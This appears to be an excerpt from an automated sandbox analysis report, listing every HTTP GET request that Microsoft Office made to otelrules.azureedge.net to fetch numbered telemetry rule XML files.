Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
